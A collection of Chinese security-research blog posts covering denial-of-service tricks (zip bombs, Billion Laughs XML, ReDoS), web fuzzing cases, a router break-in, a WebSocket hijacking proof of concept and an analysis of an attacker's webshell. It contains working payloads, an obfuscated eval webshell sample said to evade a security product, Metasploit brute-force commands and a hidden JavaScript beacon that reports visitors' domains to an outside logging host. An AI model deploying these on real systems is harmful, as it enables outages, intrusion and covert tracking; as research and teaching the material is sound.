可以将w=130修改为w=130000000000000000,让服务器生成超大的图片验证码从而占用服务器资源造成拒绝服务。

Zip炸弹

不知道各位有没有听说过Zip炸弹,一个42KB的压缩文件(Zip),解压完其实是个4.5PB的“炸弹”。

先不说4.5PB这个惊人的大小,光解压都会占用极大的内存。

该文件的下载地址:https://www.bamsoftware.com/hacks/zipbomb/42.zip

-w447

解压这个42.zip以后会出现16个压缩包,每个压缩包又包含16个,如此循环5次,最后得到165次方个文件,也就是1048576个文件,这一百多万个最终文件,每个大小为4.3GB。 因此整个解压过程结束以后,会得到 1048576 * 4.6 GB = 4508876.8 GB,也就是 4508876.8 ÷ 1024 ÷ 1024 = 4.5 PB

通过以上说明,我们可以寻找存在解压功能的Web场景进行拒绝服务攻击,但是这里有一个前置条件就是需要解压并可以递归解压。

那我们想要完成这一攻击就非常的困难了,“前辈”也提到了非递归的Zip炸弹,也就是没有嵌套Zip文件文件的,如下表格:

名称 解压结果
zbsm.zip 42 kB → 5.5 GB
zblg.zip 10 MB → 281 TB
zbxl.zip 46 MB → 4.5 PB (Zip64, less compatible)

存在解压功能的Web场景还是比较多的,可以根据实际业务场景进行寻找。

实际场景

根据实际业务场景发现一处上传模板文件功能,根据简单的测试,发现此处上传Zip文件会自动解压:

-w176

-w400

这里我选择上传zbsm.zip上去,看一下服务器反应:

-w171

这里整个服务的请求都没有返回结果,成功造成拒绝服务。

XDoS(XML拒绝服务攻击)

XDoS,XML拒绝服务攻击,其就是利用DTD产生XML炸弹,当服务端去解析XML文档时,会迅速占用大量内存去解析,下面我们来看几个XML文档的例子。

Billion Laughs

据说这被称为十亿大笑DoS攻击,其文件内容为:

<!DOCTYPE keyz [
  <!ENTITY key "key">
  <!ENTITY key2 "&key;&key;&key;&key;&key;&key;&key;&key;&key;&key;">
  <!ENTITY key3 "&key2;&key2;&key2;&key2;&key2;&key2;&key2;&key2;&key2;&key2;">
  <!ENTITY key4 "&key3;&key3;&key3;&key3;&key3;&key3;&key3;&key3;&key3;&key3;">
  <!ENTITY key5 "&key4;&key4;&key4;&key4;&key4;&key4;&key4;&key4;&key4;&key4;">
  <!ENTITY key6 "&key5;&key5;&key5;&key5;&key5;&key5;&key5;&key5;&key5;&key5;">
  <!ENTITY key7 "&key6;&key6;&key6;&key6;&key6;&key6;&key6;&key6;&key6;&key6;">
  <!ENTITY key8 "&key7;&key7;&key7;&key7;&key7;&key7;&key7;&key7;&key7;&key7;">
  <!ENTITY key9 "&key8;&key8;&key8;&key8;&key8;&key8;&key8;&key8;&key8;&key8;">
]>
<keyz>&key9;</keyz>

这是一段实体定义,从下向上观察第一层发现key9由10个key8组成,由此类推得出key[n]由10个key[n-1]组成,那么最终算下来实际上key910^9(1000000000)个key[..]组成,也算是名副其实了~

本地测试解析该XML文档,大概占用内存在2.5GB左右(其他文章中出现的均为3GB左右内存):

-w607

试想:这只是9层级炸弹,如果再多一点呢?

External Entity

外部实体引用,文档内容如下:

<!DOCTYPE keyz [
    <!ENTITY wechat SYSTEM "https://dldir1.qq.com/weixin/Windows/WeChatSetup.exe">
]>
<keyz>&wechat;</keyz>

这个理解起来就很简单了,就是从外部的链接中去获取解析实体,而我们可以设置这个解析URL为一个超大文件的下载地址,以上所举例就是微信的。

-w370

当然,我们也可以设置一个不返回结果的地址,如果外部地址不返回结果,那么这个解析就会在此处一直挂起从而占用内存。

Internal Entity

内部实体引用,文档内容如下:

<!DOCTYPE keyz [
  <!ENTITY a "a...a">
]>
<keyz>&a;...&a;</keyz>

其意思就是实体a的内容又臭又长,而后又N次引用这个实体内容,这就会造成解析的时候占用大量资源。

实际场景

-w455

一开始通过此处上传doc文档的功能,发现了一枚XXE注入,提交后厂商进行修复,但复测后发现其修复的结果就是黑名单SYSTEM关键词,没办法通过带外通道读取敏感数据了~

抱着试一试的心态将Billion LaughsPayload放入到doc文档中(这里与XXE doc文档制作方式一样修改[Content_Types].xml文件,重新打包即可):

-w1274

上传之后产生的效果就是网站延时极高,至此就完成了整个测试。

ReDoS(正则表达式拒绝服务攻击)

ReDoS,正则表达式拒绝服务攻击,顾名思义,就是由正则表达式造成的拒绝服务攻击,当编写校验的正则表达式存在缺陷或者不严谨时,攻击者可以构造特殊的字符串来大量消耗服务器的系统资源,造成服务器的服务中断或停止。

在正式了解ReDoS之前,我们需要先了解一下正则表达式的两类引擎:

名称 区别 应用 匹配方式
DFA DFA对于文本串里的每一个字符只需扫描一次,速度快、特性少 awk(大多数版本)、egrep(大多数版本)、flex、lex、MySQL、Procmail… 文本比较正则
NFA NFA要翻来覆去标注字符、取消标注字符,速度慢,但是特性(如:分组、替换、分割)丰富 GNU Emacs、Java、grep(大多数版本)、less、more、.NET语言、PCRE library、Perl、PHP(所有三套正则库)、Python、Ruby、set(大多数版本)、vi… 正则比较文本

文本比较正则:看到一个子正则,就把可能匹配的文本全标注出来,然后再看正则的下一个部分,根据新的匹配结果更新标注。

正则比较文本:看见一个字符,就把它跟正则比较,匹配就标注下来,然后接着往下匹配。一旦不匹配,就忽略这个字符,以此类推,直到回到上一次标注匹配的地方。

那么存在ReDoS的核心就是NFA正则表达式引擎,它的多模式会让自身陷入递归险境,从而导致占用大量CPU资源,性能极差,严重则导致拒绝服务。

NFA 回溯

简单的聊一下什么是回溯,这里有一个正则表达式:

ke{1,3}y 

其意图很简单,e字符需要匹配1-3次,ky匹配一次即可。

现在我们遇到了两个需要匹配的字符串:

  • keeey
  • key

字符串keeey的匹配过程是一气呵成的:匹配k完成之后,完整匹配e,最后是匹配y

字符串key的匹配过程就发生了回溯,其匹配过程如下图所示(橙色为匹配,黄色为不匹配):

-w630

前两步属于正常,但从第3步开始就不一样了,这里字符串key已经有一个ee{1,3}匹配,但它不会就此作罢,而会继续向后用正则e{1,3}匹配字符y,而当发现字符不匹配后,就忽略该字符,返回到上一次标注匹配的字符e再进行一次匹配,至此就发生了一次回溯,最后匹配y结束整个正则匹配过程。

那么为什么会产生回溯呢?这跟NFA的贪婪模式有关(贪婪模式默认是开启的)。

NFA 贪婪

我们想要彻底摸清楚整个过程就要抛根问底,究其原理,所以来了解一下贪婪模式~

根据以上所举的案例我们可以理解贪婪模式导致的回溯其实就是:不撞南墙不回头

以下所列的元字符,大家应该都清楚其用法:

i. ?: 告诉引擎匹配前导字符0次或一次,事实上是表示前导字符是可选的。 ii. +: 告诉引擎匹配前导字符1次或多次。 iii. *: 告诉引擎匹配前导字符0次或多次。 iv. {min, max}: 告诉引擎匹配前导字符min次到max次。min和max都是非负整数。如果有逗号而max被省略了,则表示max没有限制;如果逗号和max都被省略了,则表示重复min次。

默认情况下,这个几个元字符都是贪婪的,也就是说,它会根据前导字符去匹配尽可能多的内容。这也就解释了之前所举例的回溯事件了。

恶意正则表达式

错误的使用以上所列的元字符就会导致拒绝服务的风险,此类称之为恶意的正则表达式,其表现形式为:

  1. 使用重复分组构造
  2. 在重复组内会出现:重复、交替重叠

简单的表达出来就是以下几种情况(有缺陷的正则表达式会包含如下部分):

(a+)+
([a-zA-Z]+)*
(a|aa)+
(a|a?)+
(.*a){x} for x > 10

ReDoS 恶意正则检测

对于复杂的恶意正则表达式,靠人工去看难免有些许费劲,推荐一款工具:https://github.com/superhuman/rxxr2/tree/fix-multiline (安装参考项目的readme)

该工具支持大批量的正则表达式检测,并给出检测结果。

-w294

实际场景

很庆幸的是大多Web脚本语言的正则引擎都为NFA,所以也很方便我们做一些Web层面的挖掘。

做测试的时候大家有没有发现过这样一个逻辑:密码中不能包含用户名

-w504

这是一个用户添加的功能,其校验是通过后端的,请求包如下

POST /index/userAdd HTTP/1.1
Host: [host]
...

nickname=xxx&password=xxx&...

password中包含nickname则提示密码中不能包含用户名

利用Python简单还原一下后端逻辑:

# -*- coding: utf-8 -*-
import sys,re
username = sys.argv[1]
password = sys.argv[2]

regex = re.compile(username)
if (regex.match(password)):
    print u'密码中不能包含用户名'
else:
    print u'用户添加成功'

-w468

这时候用户名是一个正则,密码是一个待匹配字符串,而这时候我们都可以进行控制,也就能构建恶意的正则的表达式和字符串进行ReDoS攻击。

恶意的正则表达式:a(b|c+)+d 字符串(我们要想让其陷入回溯模式就不能让其匹配到,所以使用ac......cx的格式即可):acccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccx

如下图所示ReDoS攻击成功:

-w905

我们只需要以同样的方式替换原请求包中的参数值即可(前提是该功能没有限制字符串长度和特殊字符)~

还有更多应用场景等待去发现,这里就不过多赘述了~

数据查询数量可控

想必如下这类接口大家都见多了吧:

/api/getInfo?page=1&page_size=10 ...
/api/viewData?startTime=&endTime=1591258015173 ... 
...

而这类接口通常都是调用数据的,当一个系统数据量十分大(这也是拒绝服务的前提)的时候就需要分页功能去优化性能,那我们尝试将这个可控的数据查询量的参数数值进行修改会怎么样?比如page_size=10000,再去请求会发现服务器明显有返回延迟(大量数据的查询展示):

-w271

那如果是page_size=100000000000呢?想象一下,从查询到数据格式的处理返回展示,要占用巨大的服务器资源,我们如果尝试去多次重放此类请求,服务器终究还是无法承受这样的“力量”,最后导致宕机…

时间参数startTime也是如此,我们可以置空或设为0让其查询数据的时间范围为最大…以此类推、举一反三。

References

https://bbs.pediy.com/thread-252487.htm

https://www.checkmarx.com/wp-content/uploads/2015/03/ReDoS-Attacks.pdf

https://zhuanlan.zhihu.com/p/41800341

利用SourceMap还原网站原始代码(前端)

2020年1月8日 00:00

利用SourceMap还原网站原始代码(前端)

作者:key

说明

现在越来越多网站使用前后端分离技术,利用Webpack技术将JS类拓展语言进行打包,当然很多都是配套使用,例如Vue(前端Javascript框架)+Webpack技术;

这种技术也在普及,并且转向常态化,对渗透测试人员来说极其不友好:

1.增加了前端代码阅读的时间(可读性很差) 2.由原因1间接造成了前端漏洞的审计困难性

但是也具备一定的好处:

1.采用这种模式,后端接口将完全暴露在JS文件中

除此之外,如果生成了Source Map文件可以利用该文件还原网站原始前端代码(关于技术名词的具体含义请自行查询百科)

主流浏览器都自带解析Source Map文件功能(开发者工具-Sources【火狐下是调试器】):

-w270

展开可以看见具体文件和代码:

-w267

但是文件过多的情况下,单个查看繁琐,不便于搜索(浏览器的开发者工具支持全局文件搜索,但搜索速度较慢),使用restore-source-tree可以解决这一问题。

restore-source-tree 安装

原作者的有BUG,使用国外友人修复后的版本:https://github.com/laysent/restore-source-tree,安装步骤如下:

git clone https://github.com/laysent/restore-source-tree
cd restore-source-tree
sudo npm install -g

Source Map文件还原

在这类JS文件下通常会有一个注释:

-w568

-w717

map文件就是js文件所在目录下,拼接URL即可访问,将其下载下来:

wget http://hostname/static/js/app.fedfe85b2fdd8cf29dc7.js.map

restore-source-tree进行还原:

# -o 参数是指定输出目录,若不适用则为默认的output目录
restore-source-tree app.fedfe85b2fdd8cf29dc7.js.map

-w611

成功获得原代码:

-w281

Reference

https://yukaii.tw/blog/2017/02/21/restore-source-code-from-sourcemap-file/

WebFuzzing方法和漏洞案例总结

2019年11月11日 00:00

WebFuzzing方法和漏洞案例总结

作者:Vulkey_Chen

博客:gh0st.cn

背景

之前有幸做过一次线下的议题分享《我的Web应用安全模糊测试之路》,讲解了一些常用的WebFuzzing技巧和案例,该议题得到了很大的回响,很多师傅们也与我进行了交流,但考虑到之前分享过很多思路非常不全面,这里以本篇文章作为一次总结,以实战引出技巧思路(方法)。

我的Web应用安全模糊测试之路议题解读:https://gh0st.cn/archives/2018-07-25/1 (推荐阅读)

实战案例

以下分享的案例都是个人在参与项目或私密众测邀请时遇见的真实案例,案例大多基于个人收集和整理的FuzzDict项目(字典库)。

fuzzdict

其中涉及的一些漏洞可能无法作为Fuzzing归类,这里也进行了强行的归类,只是想告诉大家漏洞挖掘中思路发散的重要性,个人也觉得比较经典。

注: 漏洞案例进行了脱敏以及细节上的修改。

案例-Add

[SQLi注入漏洞]

1.获得项目子域:https://xxx.com

2.目录扫描发现/user/目录,二层探测发现/register接口,其意为:“注册”

-w538

3.根据返回状态信息去Fuzz用户名、密码参数->结果:uname\pwd

4.对uname参数进行SQL注入测试,简单的逻辑判断存在

5.注入点使用16进制的方式无法注入,SQLmap参数--no-escape即可绕过

-w648

[拒绝服务]图片验证码

图片验证码DoS(拒绝服务攻击)这个思路很早就出来了,当时的第一想法就是采集样本收集参数,使用搜索引擎寻找存在图片验证码的点:

-w800

根据这些点写了个脚本进行半自动的参数收集:

-w1134

在漏洞挖掘的过程中,经常会抓取图片验证码的请求进行Fuzz:

图片验证码地址:https://xxx/validateCode -w606

Fuzz存在潜藏参数,可控验证码生成大小:

-w706

[JSONP]无中生有

获得一个敏感信息返回的请求端点:http://xxx/getInfo

使用callback_dict.txt字典进行Fuzz:

-w536

成功发现callback这个潜藏参数:

-w907

[逻辑漏洞]响应变请求

这里同样是获得一个敏感信息返回的请求端点:http://xxx/getInfo

返回的信息如下所示:

{"responseData":{"userid":"user_id","login":"user_name","password":"user_password","mobilenum":"user_mobilephone_number","mobileisbound":"01","email":"user_email_address"}}

尝试了一些测试思路都无法发现安全漏洞,于是想到了响应变请求思路。

将响应报文的JSON字段内容转化为HTTP请求的字段内容(BurpSuite插件项目:https://github.com/gh0stkey/JSONandHTTPP):

将相关的信息字段内容替换为测试账号B的信息(例如:login=A -> login=B)

发现无法得到预期的越权漏洞,并尝试分析该网站其他请求接口对应的参数,发现都为大写,将之前的参数转换为大写:

继续Fuzz,结果却出人意料达到了预期:

案例-Update

[逻辑漏洞]命名规律修改

一个登录系统,跟踪JS文件发现了一些登录后的系统接口,找到其中的注册接口成功注册账户进入个人中心,用户管理处抓到如下请求:

POST URL: https://xxx/getRolesByUserId
POST Data: userId=1028

返回如下信息:

-w1068

可以看见这里的信息并不敏感,但根据测试发现userId参数可以进行越权遍历

根据url判断这个请求的意思是根据用户id查看用户的身份,url中的驼峰方法(getRolesByUserId)惊醒了我,根据命名规则结构我将其修改成getUserByUserId,也就是根据用户id获取用户,也就成为了如下请求包。

POST URL: https://xxx/getUserByUserId
POST Data: userId=1028

-w708

成功返回了敏感信息,并通过修改userId可以越权获取其他用户的信息。

[逻辑漏洞]敏感的嗅觉

在测一个刚上线的APP时获得这样一条请求:

POST /mvc/h5/jd/mJSFHttpGWP HTTP/1.1
……

param={"userPin":"$Uid$","addressType":0}

而这个请求返回的信息较为敏感,返回了个人的一些物理地址信息:

-w545

在这里param参数是json格式的,其中"userPin":"$Uid$"引起我注意,敏感的直觉告诉我这里可以进行修改,尝试将$Uid$修改为其他用户的用户名、用户ID,成功越权:

-w560

[逻辑漏洞]熟能生巧

收到一个项目邀请,全篇就一个后台管理系统。针对这个系统做了一些常规的测试之后除了发现一些 没用的弱口令外(无法登录系统的)没有了其他收获。

分析这个后台管理系统的URL:https://xxx/?m=index,该URL访问解析过来 的是主⻚信息。

尝试对请求参数m的值进行Fuzz,7K+的字典进行Fuzz,一段时间之后收获降临:

-w792

获得了一个有用的请求:?m=view,该请求可以直接未授权获取信息:

-w741

案例-Delete

[逻辑漏洞]Token限制绕过

在测业务的密码重置功能,发送密码重置请求,邮箱收到一个重置密码的链接:http://xxx/forget/pwd?userid=123&token=xxxx

这时候尝试删除token请求参数,再访问并成功重置了用户的密码:

-w234

[SQLi辅助]参数删除报错

挖掘到一处注入,发现是root(DBA)权限:

-w457

但这时候,找不到网站绝对路径,寻找网站用户交互的请求http://xxx/xxxsearch?name=123,删除name=123,网站报错获取绝对路径:

-w460

成功通过SQLi漏洞进行GetWebshell。

-w265

总结

核心其实还是在于漏洞挖掘时的心细,一件事情理解透彻之后万物皆可Fuzz。

平时注意字典的更新、整理和对实际情况的分析,再进行关联整合。

对某攻击队的Webshell进行分析

2019年8月21日 00:00

对我⽅已拿下的攻击方⾁鸡进⾏⽇志、⽂件等分析,发现⼤部分肉鸡的网站根目录都存在 images.php,提取该文件的内容并分析:

img

提出较为重要的那一段base64decode后的PHP代码进行分析:

@session_start();//开启session

if(isset($_POST['code']))substr(sha1(md5($_POST['a'])),36)=='222f'&&$_SESSION['theCode']=$_POST['code'];if(isset($_SESSION['theCode']))@eval(base64_decode($_SESSION['theCode']));

代码逻辑:判断POST请求参数code是否有值,当满足条件时则执行substr(sha1(md5($_POST['a'])),36)=='222f'&&$_SESSION['theCode']=$_POST['code'],这段代码的意思为将POST请求参数a的值进行md5加密再进行sha1加密,最后从加密后的字符串的第36位开始取值(sha1加密后的值为40位,这里也就是取后4位),当后四位等于222f的时候条件为真则执行$_SESSION['theCode']=$_POST['code'](Why?&&是逻辑与操作,如果&&的前面为false了,后面的就不会执行了,所以在这里也就间接的形成了一种判断从而必须满足后四位等于222f的条件),最后进入该代码执行:if(isset($_SESSION['theCode']))@eval(base64_decode($_SESSION['theCode']));,代码如此简单就不再重复描述~

为了满足条件(substr(sha1(md5($_POST['a'])),36)=='222f'),我们可以采用钓鱼的方式等攻击方人员主动上钩(修改images.php即可):

img

当攻击方人员主动连接该Webshell时会将POST请求参数a的值写入到pass.txt中。

但此方法较为被动,我们还可以在本地搭建一个环境搭配Burp去爆破获取后四位为222f的明文:

img

img

获得了:abc123000lipeng520160376这三个密码,可利用密码对其他的肉鸡再次进行反打。

代码样本:(测试可过安全狗)

<?php

$CF='c'.'r'.'e'.'a'.'t'.'e'.'_'.'f'.'u'.'n'.'c'.'t'.'i'.'o'.'n';

$EB=@$CF('$x','e'.'v'.'a'.'l'.'(b'.'a'.'s'.'e'.'6'.'4'.'_'.'d'.'e'.'c'.'o'.'d'.'e($x));');

$EB('QHNlc3Npb25fc3RhcnQoKTtpZihpc3NldCgkX1BPU1RbJ2NvZGUnXSkpc3Vic3RyKHNoYTEobWQ1KCRfUE9TVFsnYSddKSksMzYpPT0nMjIyZicmJiRfU0VTU0lPTlsndGhlQ29kZSddPSRfUE9TVFsnY29kZSddO2lmKGlzc2V0KCRfU0VTU0lPTlsndGhlQ29kZSddKSlAZXZhbChiYXNlNjRfZGVjb2RlKCRfU0VTU0lPTlsndGhlQ29kZSddKSk7');

?>

基于BurpSuite快速探测越权-Authz插件

2019年6月27日 00:00

BurpSuite - Authz

背景

在平时的测试中,会经常的碰到业务功能较多的站点,如果想全面又快速的完成逻辑越权漏洞的检测不得不借助Authz插件去辅助检测越权问题。

Authz的工作原理

我们平时做测试的时候发现越权问题都是基于修改ID的方式:A的ID改成B的ID然后进行请求查看是否可以越权获取到信息或当ID的规律已知情况下基于Burp Intruder模块直接去遍历ID而基于Authz的检测是不一样的,其是将用户认证的HTTP请求头进行修改(Cookie之类的),然后通过响应长度、响应状态码判断是否存在越权从本质上来讲没有任何区别,只是换了一个角度,但这样的好处是一定程度上的减少了测试的时间(例如:一个商城的业务系统,你有A、B账户,A账户买了个商品获得一个订单信息请求,当你想测试是否能越权获取B账户订单时就需要使用B账户去再购买,然后判断测试。

BurpSuite Authz插件界面

安装Authz插件

Github地址:https://github.com/portswigger/authz

快速安装->在BurpSuite的BApp Store应用市场可以直接下载安装:

使用Authz插件检测

使用插件检测的前提条件:同个业务系统中两个测试账号

作用:A账户用于功能的操作,B账户用于提供凭证(Cookie或者其他的用户身份凭证请求头)

举例说明:

一个业务系统,将A、B账户登入,同时获取B账户的Cookie或者其他的用户身份凭证请求头,填入到Authz的New Header里:

A账户去请求(Burp别忘了监听着),寻找读取类请求(该类请求要包含ID之类的特征)然后右键请求包将该请求发送到Authz插件内:

发送的请求会在Burp的Authz的Tab标签窗口内:

当收集的差不多了,点击run跑起来:

结果会在Responses处显示:

当原响应内容长度、响应状态码和被修改后请求的响应内容长度、响应状态码一致则会绿。

也就代表着存在越权,单击选择一行即可在下面展示出请求、响应的报文:

这里经过进一步检验(理论上不需要检验,但出于对测试的严谨态度还是检验一下比较好~)顺利的发现了三枚越权访问漏洞。

一个业务系统测完之后就Clear掉所有的东西,接着下一个业务系统咯:

Authz的优点和缺点总结

优点:使用简单、省时省力

缺点:只是适用于检测越权读取类操作,删除编辑类操作还需人工判断。

浅谈WebSocket跨域劫持漏洞(CSWSH)

2019年3月20日 00:00

WebSocket 跨域劫持漏洞

WebSocket 跨域劫持漏洞,英文名:Cross-site WebSocket Hijacking,漏洞类型:全能型CSRF(可读、可写)。

了解WebSocket

Websocket 优点

  1. 支持双向通信,实时性更强。
  2. 更好的二进制支持。
  3. 较少的控制开销。连接创建后,ws客户端、服务端进行数据交换时,协议控制的数据包头部较小。在不包含头部的情况下,服务端到客户端的包头只有2~10字节(取决于数据包长度),客户端到服务端的话,需要加上额外4字节的掩码。而HTTP协议每次通信都需要携带完整的头部。
  4. 支持扩展。ws协议定义了扩展,用户可以扩展协议,或者实现自定义的子协议。(比如支持自定义压缩算法等)

Websocket 如何建立连接

画了一张图让你了解:

websocket

漏洞产生

建立Websocket连接无验证。

案例

1.如下请求:

GET / HTTP/1.1
Host: localhost:8080
Origin: http://127.0.0.1:3000
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: w4v7O6xFTi36lq3RNcgctw==

篡改Origin,发现没有对Origin进行验证,也可以跨域进行协议升级。

2.进一步验证

2.1获取到了一个发送评论的请求 (使用BurpSuite->Proxy模块->Websockets History查看,这里是对应的 Direction值为Outgoing为发出的请求,Incoming为发出请求对应的响应信息

test

2.2使用JavaScript创建Websocket请求

如上图所示Outgoing的内容为“我是帅key的可爱小迷弟”,那么发送的数据就是这个

<meta charset="utf-8">
<script>
function ws_attack(){
	var ws = new WebSocket("ws://域名:端口/");//如果请求的Websocket服务仅支持HTTP就写成ws://,如果请求的Websocket服务支持HTTPs就写成wss://
	ws.onopen = function(evt) { 
		ws.send("我是帅key的可爱小迷弟!");
	};
	ws.onmessage = function(evt) {
		ws.close();
	};
}
ws_attack();
</script>

2.3验证发现可以请求并成功进行重放,存在Websocket跨域劫持

(这里只是简单的评论请求,危害就是:点我链接让你评论我想评论的,试想:如果是修改密码的WebSocket请求存在劫持那么问题就大了~)

漏洞利用

攻击流程跟以往的交互类漏洞没什么区别(点我链接读取你XXX、点我链接让你XXX):

attack

来一个圈子”铸剑实战靶场”的截图,自我体会:

success

PoC代码编写

<meta charset="utf-8">
<script>
function ws_attack(){//自定义函数ws_attack
    //定义函数功能
    //创建WebSocket并赋值给ws变量
	var ws = new WebSocket("ws://域名:端口/");//如果请求的Websocket服务仅支持HTTP就写成ws://,如果请求的Websocket服务支持HTTPs就写成wss://
	ws.onopen = function(evt) { 
        //当ws(WebSocket)处于连接状态时执行
		ws.send("我是帅key的可爱小迷弟!");
	};
	ws.onmessage = function(evt) {
        //当ws(WebSocket)请求有响应信息时执行
        //注意:响应的信息可以通过evt.data获取!例如:alert(evt.data);
		ws.close();
	};
}
ws_attack();//执行ws_attact函数
</script>

修复方法

综合建议:校验Origin头

Reference

https://www.cnblogs.com/chyingp/p/websocket-deep-in.html

记一次移动光猫(GM219-S)安全测试

2019年3月12日 00:00

前言

过个年,WiFi密码忘记了…光猫管理密码也忘记了(这个光猫也不支持物理按钮重置设置),但是手机还连着WiFi,正规操作找回不了密码,那就用咱们测试的思维来试试PWN掉这个路由器。

过程

未授权获取WiFi连接密码

还好之前没闲着,发现管理的几个未授权访问的接口如下:

获取宽带账号密码: /GET_USER_WAN_PPP_INFO.json

获取 WLAN 连接信息: /GET_WLAN_LINK_INFO.json

获取 DHCP 信息: /GET_NET_DHCP_INFO.json

手机访问 http://192.168.1.1/GET_WLAN_LINK_INFO.json ,获取密码:xxx,电脑连接登录

信息收集

端口收集结果

Scanning promote.cache-dns.local (192.168.1.1) [1080 ports]
Discovered open port 80/tcp on 192.168.1.1
Discovered open port 8080/tcp on 192.168.1.1

目录扫描结果

获得的一些目录:

/login.html
/login.asp
/index.asp
/telnet.asp
/upgrade.asp
...

突破口

在目录扫描的时候,发现/telnet.asp -> 跳转到 /cgi-bin/telnet.asp 如下图所示界面:

open_telnet

这个功能可以开启光猫的telnet服务,先开启,然后再使用Nmap扫描下端口:

Scanning promote.cache-dns.local (192.168.1.1) [1080 ports]
Discovered open port 8080/tcp on 192.168.1.1
Discovered open port 80/tcp on 192.168.1.1
Discovered open port 8023/tcp on 192.168.1.1

发现多了个8023端口,其对应的服务果然是telnet:

8023/tcp open  telnet
| fingerprint-strings:
|   GenericLines:
|     Star-Net Broadband Router
|     Login:
|     Password:
|   GetRequest:
|     Star-Net Broadband Router
|     Login: GET / HTTP/1.0
|     Password:
|   Help:
|     HELP
|     Star-Net Broadband Router
|     Login: Password:
|   NCP:
|     Star-Net Broadband Router
|     Login: DmdT^@^@^@
|     ^@^@^@^A^@^@^@^@^@
|   NULL:
|     Star-Net Broadband Router
|     Login:
|   RPCCheck:
|     Star-Net Broadband Router
|     Login:
|     ^@^@(r
|   SIPOptions:
|     Star-Net Broadband Router
|     Login: OPTIONS sip:nm SIP/2.0
|     Via: SIP/2.0/TCP nm;branch=foo
|     From: <sip:nm@nm>;tag=root
|     <sip:nm2@nm2>
|     Call-ID: 50000
|     CSeq: 42 OPTIONS
|     Max-Forwards: 70
|     Content-Length: 0
|     Contact: <sip:nm@nm>
|     Accept: application/sdp
|     Password:
|   tn3270:
|     ^@IBM-3279-4-E
|     ^YStar-Net Broadband Router
|_    Login:

telnet开启,爆破一波走起。(Caimima生成个密码口令)

caimima

试了nmap貌似没啥用,开个msfconsole来爆破:

use auxiliary/scanner/telnet/telnet_login
set RHOSTS 192.168.1.1 #设置模板
set RPORT 8023 #设置端口
set USER_FILE /root/user.txt #设置用户字典
set PASS_FILE /root/pass.txt #设置密码字典
exploit 192.168.1.1 #启动

幸运的是爆破出来了,是组合弱口令:

telnet_brute

获取密码

运行telnet 192.168.1.1 8023输入账号密码进去,执行sh发现可以直接进入shell:

telnet_shell

接下来就是找密码到处瞎翻(没有PWN路由器的经验,很难受),执行 ls -a -l 发现有软链接,很多指向了/tmp目录:

ls

于是进入/tmp目录,到处翻腾:

tmp

利用这几个关键词看看是否有文件中包含了:adminCMCC(中国移动)、passworduser

e.g. grep 'admin' ./*,等了老半天了,发现/tmp/ctromfile.cfg文件内有点东西:

admin

复制密码登录,怼进去:

cmccadmin

信息整合

做完测试并针对测试过程的信息进行整合,最后形成字典以便后面再次遇到~

  • 通过读配置文件获取的一系列用户名、密码:9vvrr、admin、aDm8H%MdA、CMCCAdmin、telnetuser、user

  • 文件、目录路径:
    • /GET_USER_WAN_PPP_INFO.json
    • /GET_WLAN_LINK_INFO.json
    • /GET_NET_DHCP_INFO.json
    • /telnet.asp
    • /index.asp
    • /user.html
    • /upgrade.asp
    • /cgi-bin/
    • /content.asp
  • 指纹特征:
    • 标题:HGU LOGIN
    • 图片:/webstyle/images/login-mobile-qrcode-anhui.png -> 23cb4f5e63e0cd47f8788a6ca3558eab
    • JS:/webstyle/js/br_login_nc.js

结尾

最后我只是默默的把user用户密码改了一下~

我为何在博客模板留后门

2019年1月23日 00:00

前言

在前段时间,我在我博客的模板上加入了后门(JavaScript),今天去除,并将思路简单的写出来。

为什么留后门呢?

起因:在前不久,团队官网模板就被偷走,很让人生气,抄袭者团队(以下简称为:A)没有打一声招呼就拿走了,但可笑的是A并没有在模板中修改JavaScript文件的外链引用,而是直接使用我们的JavaScript文件,所以简单的利用JS修改了一下其主页,提醒了下他,经过后来A主动与我联系并道歉,这件事情才结束~

让我吃惊的是,这件事之后我发现我博客主题模板被拿走了,是的,不止一个哥们。

我在我的博客项目中说明了https://github.com/gh0stkey/gh0stkey.github.io

个人博客 gh0st.cn 模版来自:https://github.com/heiswayi/the-plain 在原基础上增加了分页、网易云音乐播放器等功能(做了一些排版细节上的调整),拿之前告诉我下,谢谢!

因为博客采用的是Github Pages + Jekyll,所以需要依赖于Github的进行托管,模板也就自然而然的可以直接git clone下来,模板也是我进行二次修改的,我觉得起码要尊重下作者,在博客主题或项目之类的进行说明,打声招呼也行,一声不吭的拿走是几个意思……

有个好兄弟说过这样一段话,望周知:

参考别人的研究成果,注明来源是基本素质,每个人都应该构建一个和谐积极向上的氛围,知道的人不愿意分享的原因就是不被别人认可,互相认可才能进步,现在理解一些师傅的苦衷了,挺悲哀的。请各位在以后的学习生涯上,尊重别人的分享,认可他人,互相感染才能进步。

关于后门

我是一个“重度洁癖患者”,不喜欢自己的任何东西带上任何污点。包括对于在自己博客模板中加入后门,这对我来说是一件带有“大污点”的事情,所以思考了很久决定加上后门。

后门的构建

JavaScript 后门

模板后门选择的是JavaScript外链引用,而JavaScript的内容构建步骤如下:

1.判断是否是自己的域名(这个正则写的不严谨是可以被绕过的,例如:gh0st.cn.bypass.cn):

var host = document.location.host; //获取host
var reg = new RegExp(/gh0st.cn/); //创建正则
var isok = reg.test(host); //匹配结果:False\True
if(!isok){//判断
	...code
}

2.触发式:在一个Web服务上添加了isopen.txt这个文件,内容为NO则不触发,内容为YES则触发。(选择触发式的原因是因为博客上线有本地调试这一环节,如果在本地就触发了,那岂不是得不偿失,没有造成什么直接损害~)

var xhr = new XMLHttpRequest(); //创建XMLHttpRequest
xhr.onreadystatechange=function(){ //请求成功则触发
	if(xhr.responseText == "YES"){ //判断请求网站的内容是否是YES,如果是则进行下一步
		document.write("<center><h1>Please tell me before using my template!By:[Vulkey_Chen]<center><h1>"); //页面内容修改
	}
}
xhr.open("GET","http://webserver/isopen.txt",true); //请求http://webserver/isopen.txt
xhr.send(null);

3.既然选择了触发式的后门,那么就需要知道是谁偷了模板,这里利用的是ceye.io这个平台去记录“小偷”的域名和IP之类的东西:

var img = document.createElement("img"); //创建img标签
img.src="http://myblog.你的地址.ceye.io/fuck?domain=" + host; //设置img标签的src属性
img.stytle.display="none"; //设置img标签的样式的display属性为none(表示这个将图片隐藏)
document.body.appendChild(img); //在DOM节点(body)内加入img标签

4.在博客模板的header.html中引用了外部的JS地址<script src="http://webserver/xxx.js">

完整代码如下:

var host = document.location.host;
